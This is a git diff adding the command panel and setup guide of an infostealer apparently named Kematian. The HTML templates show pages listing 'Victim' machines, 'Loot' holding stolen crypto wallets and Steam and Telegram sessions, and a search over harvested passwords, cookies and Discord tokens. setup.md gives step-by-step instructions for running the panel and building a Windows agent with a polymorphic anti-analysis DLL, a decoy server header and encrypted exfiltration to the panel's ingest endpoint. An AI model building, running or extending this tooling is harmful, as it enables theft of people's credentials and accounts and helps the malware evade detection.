+ +
+ +
+
+ + + + + + {% for c in recent %} + + + + + + + + + {% else %} + + {% endfor %} + +
DateVictimIPSystemEntries
{{ (c.last_seen | datetime) if c.last_seen else '—' }}{{ c.client_id }}{{ c.ip or '—' }}{{ c.os or '—' }} {{ c.arch or '' }}{{ c.total_entries }}View
No clients yet. Data lands here when the agent posts.
+
+
+ + +{% endblock %} diff --git a/panel/templates/fileshare.html b/panel/templates/fileshare.html new file mode 100644 index 0000000..5e35d73 --- /dev/null +++ b/panel/templates/fileshare.html @@ -0,0 +1,73 @@ +{% extends "base.html" %} +{% block title %}FileShare · Kematian{% endblock %} +{% block content %} +
+
+

FileShare

+

Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.

+
+
+ +
+

Upload a file

+
+ + + + + +
+

Uploaded files are stored under panel/loot/upload/ and get a shareable link.

+
+ +

Hosted files ({{ blobs|length }})

+
+ + + + {% for b in blobs %} + + + + + + + + {% else %} + + {% endfor %} + +
ClientFileTypeSize
{% if b.client_id == 'upload' %}upload{% else %}{{ b.client_id }}{% endif %}{{ b.filename }}{{ b.category or '—' }}{{ (b.size | filesize) }} + Download + +
No files shared yet.
+
+ +

Clients with files

+
+ {% for cid, items in by_client.items() %} + + +
+
{{ 'your uploads' if cid == 'upload' else cid }}
+
{{ items }} file{{ '' if items == 1 else 's' }}
+
+
+ {% else %} +

No client has hosted files.

+ {% endfor %} +
+ + +{% endblock %} diff --git a/panel/templates/login.html b/panel/templates/login.html new file mode 100644 index 0000000..42c0b27 --- /dev/null +++ b/panel/templates/login.html @@ -0,0 +1,19 @@ +{% extends "base.html" %} +{% block title %}Login · Kematian{% endblock %} +{% block content %} +
+
+ +

kematianpanel

+

Admin login

+ + + + + + + + +
+
+{% endblock %} diff --git a/panel/templates/loot.html b/panel/templates/loot.html new file mode 100644 index 0000000..219b02b --- /dev/null +++ b/panel/templates/loot.html @@ -0,0 +1,32 @@ +{% extends "base.html" %} +{% block title %}Loot · {{ client_id }} · Kematian{% endblock %} +{% block content %} +
+
+

Files · {{ client_id }}

+

Hosted login files (wallets, Steam, Telegram) — click to download.

+
+ +
+ +
+ + + + {% for b in blobs %} + + + + + + + {% else %} + + {% endfor %} + +
FileTypeSize
{{ b.filename }}{{ b.category or '—' }}{{ (b.size | filesize) }}Download
No hosted files for this client yet.
+
+{% endblock %} diff --git a/panel/templates/loot_all.html b/panel/templates/loot_all.html new file mode 100644 index 0000000..36cab9c --- /dev/null +++ b/panel/templates/loot_all.html @@ -0,0 +1,29 @@ +{% extends "base.html" %} +{% block title %}Loot · Kematian{% endblock %} +{% block content %} +
+
+

Loot

+

All hosted files (wallets, Steam, Telegram) across every client.

+
+
+ +
+ + + + {% for b in blobs %} + + + + + + + + {% else %} + + {% endfor %} + +
ClientFileTypeSize
{{ b.client_id }}{{ b.filename }}{{ b.category or '—' }}{{ (b.size | filesize) }}Download
No hosted files yet. They appear when a client reports wallets/Steam/Telegram.
+
+{% endblock %} diff --git a/panel/templates/search.html b/panel/templates/search.html new file mode 100644 index 0000000..5fe44bd --- /dev/null +++ b/panel/templates/search.html @@ -0,0 +1,34 @@ +{% extends "base.html" %} +{% block title %}Search · Kematian{% endblock %} +{% block content %} +
+
+

Search

+

Look for anything across passwords, cookies, and discord tokens.

+
+
+ + + +{% if q %} +
+ + + + {% for r in results %} + + + + + + {% else %} + + {% endfor %} + +
TypeDetailClient
{{ r.type }}{{ r.detail }}{{ r.client }}
No matches for "{{ q }}".
+
+{% endif %} +{% endblock %} diff --git a/panel/templates/setup.html b/panel/templates/setup.html new file mode 100644 index 0000000..b44b26e --- /dev/null +++ b/panel/templates/setup.html @@ -0,0 +1,20 @@ +{% extends "base.html" %} +{% block title %}Setup · Kematian{% endblock %} +{% block content %} +
+
+ +

Create admin

+

One-time setup — runs only once

+ + + + + + + + + Back to login +
+
+{% endblock %} diff --git a/setup.md b/setup.md new file mode 100644 index 0000000..7b6859f --- /dev/null +++ b/setup.md @@ -0,0 +1,175 @@ +# Setup Guide + +End-to-end setup for the Kematian collector panel + agent build pipeline. + +Project: https://t.me/electronic_sex + +## Table of contents + +1. [Requirements](#requirements) +2. [Panel setup](#1-panel-setup) +3. [First-run configuration](#2-first-run-configuration) +4. [Building the agent](#3-building-the-agent) +5. [Wiring the agent to the panel](#4-wiring-the-agent-to-the-panel) +6. [Verification](#5-verification) +7. [Environment variables reference](#6-environment-variables-reference) +8. [Troubleshooting](#7-troubleshooting) + +--- + +## Requirements + +| Tool | Version (verified) | Purpose | +|------|--------------------|---------| +| Python | 3.10+ (3.14 verified) | Panel (Flask) | +| Go | 1.21+ (1.26 verified) | Agent build | +| Rust / Cargo | 1.75+ (1.95 verified) | Polymorphic anti-analysis DLL | +| Rust target `x86_64-pc-windows-gnu` | — | Windows GNU target for the DLL | +| pip packages | `panel/requirements.txt` | Flask, Werkzeug, cryptography | + +Install the Rust target if missing: + +```powershell +rustup target add x86_64-pc-windows-gnu +``` + +--- + +## 1. Panel setup + +```powershell +cd panel +pip install -r requirements.txt +python app.py +``` + +On first start the panel: + +- creates the SQLite database `panel/kematian.db` +- generates the X25519 keypair at `panel/kematian_e2ee.key` (private key never leaves the panel) +- serves on `0.0.0.0:5000` (override with `PANEL_PORT`) + +Open `http://localhost:5000/setup` to create the admin account, then log in. + +> A fresh DB and E2EE key are regenerated automatically if you delete them — +> resetting is as simple as deleting `kematian.db` and `kematian_e2ee.key`. + +--- + +## 2. First-run configuration + +Change these before exposing the panel (see env reference below): + +- `PANEL_SECRET` — Flask session signing key +- `PANEL_INGEST_KEY` — the Bearer token the agent sends (default `CHANGE-ME`) + +```powershell +$env:PANEL_SECRET = "long-random-session-secret" +$env:PANEL_INGEST_KEY = "long-random-ingest-token" +python app.py +``` + +> The agent's `PanelAuth` must equal `PANEL_INGEST_KEY`. If you change the +> panel key, rebuild agents with the new value. + +--- + +## 3. Building the agent + +### Option A — Web builder (recommended) + +1. Log in to the panel. +2. Go to **Builder** (`/build`). +3. Enter: + - Panel endpoint (e.g. `http://your-server:5000/api/ingest`) + - Ingest key (must match `PANEL_INGEST_KEY`) + - Optional Telegram bot token + chat ID + - Build name +4. Click **Build agent** and watch the live log. +5. Download the resulting `.exe` from the build log page. + +The builder: + +- copies the native Go tree to a temp dir (source never modified) +- regenerates `rust-extractor/src/gen.rs` with fresh per-build constants +- rebuilds the Rust anti-analysis DLL +- patches `PanelEndpoint` / `PanelAuth` (+ Telegram) and runs `go build` + +Requires `go` and `cargo` on `PATH` (or `BUILDER_CARGO` pointing to cargo). + +### Option B — Local batch build + +`Kematian-Standalone/final/build_final.bat` prompts for the endpoint, ingest +key, and optional Telegram config, then builds and restores the sources. + +--- + +## 4. Wiring the agent to the panel + +The agent needs two values patched at build time (`native/recovery/exfil/panel.go`): + +- `PanelEndpoint` — the panel's `/api/ingest` URL +- `PanelAuth` — the `PANEL_INGEST_KEY` + +The X25519 **public key is auto-fetched at runtime** from `GET /e2ee/pub` using +the same Bearer token, so no manual key exchange is needed. If the panel is +behind a firewall, allow the agent to reach the endpoint. + +Wire scheme (agent → panel): + +``` +X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305 +POST /api/ingest { "enc": "" } +``` + +Only the panel private key can decrypt ingested payloads. + +--- + +## 5. Verification + +1. Panel up: `GET http://127.0.0.1:5000/` → 200 (redirects to login). +2. Health probe returns 404 without the token (by design — no liveness beacon): + ```powershell + curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/health + ``` +3. Public key endpoint: + ```powershell + curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/e2ee/pub + ``` +4. Run a built agent on a clean host → the panel shows a new client and its + categories populate on the dashboard / client pages. +5. Hosted files (wallet dirs, Telegram sessions, Steam files) appear under + **Loot** and are downloadable. + +--- + +## 6. Environment variables reference + +| Variable | Default | Purpose | +|----------|---------|---------| +| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key | +| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send | +| `PANEL_PORT` | `5000` | Bind port | +| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IP allowlist for ingress/login | +| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) | +| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP | +| `PANEL_DECOY_NAME` | `nginx` | Decoy `Server` header value | +| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in builder form | +| `BUILDER_NATIVE_DIR` | `/Kematian-Standalone/native` | Agent Go source tree | +| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built `.exe` files are stored | +| `BUILDER_CARGO` | (PATH) | Path to `cargo` executable | + +--- + +## 7. Troubleshooting + +| Symptom | Fix | +|---------|-----| +| `ModuleNotFoundError` on panel start | `pip install -r requirements.txt` | +| Panel binds but shows nothing / 502 | Check `PANEL_PORT` is free; run `python app.py` in foreground | +| Build fails with `go: no go.mod` | Set `BUILDER_NATIVE_DIR` to `/Kematian-Standalone/native` | +| Rust DLL build fails | Ensure `x86_64-pc-windows-gnu` target installed; set `BUILDER_CARGO` | +| Agent connects but panel ignores payload | Verify `PanelAuth` in the build equals `PANEL_INGEST_KEY` | +| `/e2ee/pub` or `/health` returns 404 | Missing or wrong `Authorization: Bearer ` header | +| No admin account | Visit `/setup` once to create it |